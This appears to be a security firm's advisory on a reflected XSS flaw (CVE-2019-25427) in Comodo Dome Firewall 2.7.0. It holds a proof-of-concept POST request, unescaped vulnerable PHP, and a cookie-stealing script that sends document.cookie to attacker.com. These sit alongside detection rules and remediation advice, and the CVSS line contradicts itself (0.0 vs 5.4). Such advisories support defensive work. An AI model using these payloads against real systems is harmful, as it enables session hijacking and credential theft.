CVE-2019-25427

Executive Summary

CVE-2019-25427 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the antispyware endpoint, where user-supplied input passed via the DNSMASQ_WHITELIST or DNSMASQ_BLACKLIST parameters is not properly sanitized. An attacker can craft a POST request containing malicious JavaScript payloads, which, when processed by the firewall's web interface, executes arbitrary code in the context of the victim's browser. This can lead to session hijacking, credential theft, or further exploitation of the internal network. No official patch has been released, and the vulnerability remains unpatched.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 5.4)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to unpatched status and ease of exploitation)

Deep Dive & Mechanics

The vulnerability resides in the antispyware endpoint of the Comodo Dome Firewall's web management interface. When a user submits a POST request to this endpoint, the values of the DNSMASQ_WHITELIST and DNSMASQ_BLACKLIST parameters are reflected back in the HTTP response without proper encoding or sanitization. An attacker can inject arbitrary HTML and JavaScript into these parameters. When the victim (typically an administrator) accesses the affected page, the injected script executes in their browser session, allowing the attacker to perform actions on behalf of the victim, such as modifying firewall rules, exfiltrating session cookies, or redirecting to malicious sites.

The root cause is the lack of output encoding for user-controlled input in the server-side response. The firewall's web application does not validate or escape the input before including it in the HTML output.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint handler
$whitelist = $_POST['DNSMASQ_WHITELIST'];
$blacklist = $_POST['DNSMASQ_BLACKLIST'];
echo "<input type='text' name='whitelist' value='$whitelist'>";
echo "<input type='text' name='blacklist' value='$blacklist'>";

Patched Code (Conceptual):

// Patched endpoint handler
$whitelist = htmlspecialchars($_POST['DNSMASQ_WHITELIST'], ENT_QUOTES, 'UTF-8');
$blacklist = htmlspecialchars($_POST['DNSMASQ_BLACKLIST'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='whitelist' value='$whitelist'>";
echo "<input type='text' name='blacklist' value='$blacklist'>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Exploit Payload:

POST /antispyware HTTP/1.1
Host: target-firewall.local
Content-Type: application/x-www-form-urlencoded

DNSMASQ_WHITELIST=<script>alert('XSS')</script>&DNSMASQ_BLACKLIST=test

Lab Setup:

1. Deploy a Comodo Dome Firewall 2.7.0 in a virtualized environment.
2. Access the web management interface as an administrator.
3. Use a tool like Burp Suite or cURL to send the crafted POST request.
4. Observe the JavaScript execution in the browser.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /antispyware containing DNSMASQ_WHITELIST or DNSMASQ_BLACKLIST parameters with suspicious characters like <, >, script, or onerror.
• Look for anomalous outbound connections from the firewall's management interface to unknown external IPs.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests containing <script> or onerror in the DNSMASQ_WHITELIST or DNSMASQ_BLACKLIST parameters.
• Restrict access to the management interface to trusted IPs only.
• Apply input validation and output encoding on the server side.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /antispyware with DNSMASQ_WHITELIST or DNSMASQ_BLACKLIST containing HTML/JavaScript.
  • Outbound connections from the firewall to unknown IPs on port 80/443.
• File IOCs:
  • Log entries showing alert('XSS') or similar script content in the antispyware endpoint logs.
• Behavioral IOCs:
  • Unexpected changes to firewall rules or DNS settings.
  • Unauthorized administrative sessions.

Detection Engineering

YARA Rule

rule CVE_2019_25427_XSS {
   meta:
      description = "Detects reflected XSS attempts against Comodo Dome Firewall 2.7.0"
      author = "Valters IT"
      date = "2025-04-10"
      reference = "CVE-2019-25427"
   strings:
      $xss1 = "DNSMASQ_WHITELIST=<script" ascii wide nocase
      $xss2 = "DNSMASQ_BLACKLIST=<script" ascii wide nocase
      $xss3 = "DNSMASQ_WHITELIST=</script>" ascii wide nocase
      $xss4 = "DNSMASQ_BLACKLIST=</script>" ascii wide nocase
   condition:
      any of them
}

Sigma Rule

title: Reflected XSS Attempt on Comodo Dome Firewall
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to /antispyware with XSS payloads in DNSMASQ_WHITELIST or DNSMASQ_BLACKLIST parameters.
author: Valters IT
date: 2025-04-10
logsource:
   category: webserver
   product: apache
   service: access_log
detection:
   selection:
      cs-method: 'POST'
      cs-uri-stem: '/antispyware'
      cs-uri-query|contains:
         - 'DNSMASQ_WHITELIST=<'
         - 'DNSMASQ_BLACKLIST=<'
   condition: selection
falsepositives:
   - Legitimate use of HTML in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25427 Reflected XSS in Comodo Dome Firewall"; flow:to_server; content:"POST"; http_method; content:"/antispyware"; http_uri; content:"DNSMASQ_WHITELIST"; http_client_body; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict access to the firewall's web management interface to trusted IPs only. Use a VPN or jump host for administrative access.
• Short-term: Implement a WAF rule to block XSS payloads in the DNSMASQ_WHITELIST and DNSMASQ_BLACKLIST parameters.
• Long-term: Upgrade to a patched version of Comodo Dome Firewall if available. If no patch exists, consider replacing the firewall with a supported alternative.
• Compensating Controls: Enable Content Security Policy (CSP) headers on the firewall's web server to mitigate script execution.

Valters IT
Securing Digital Frontiers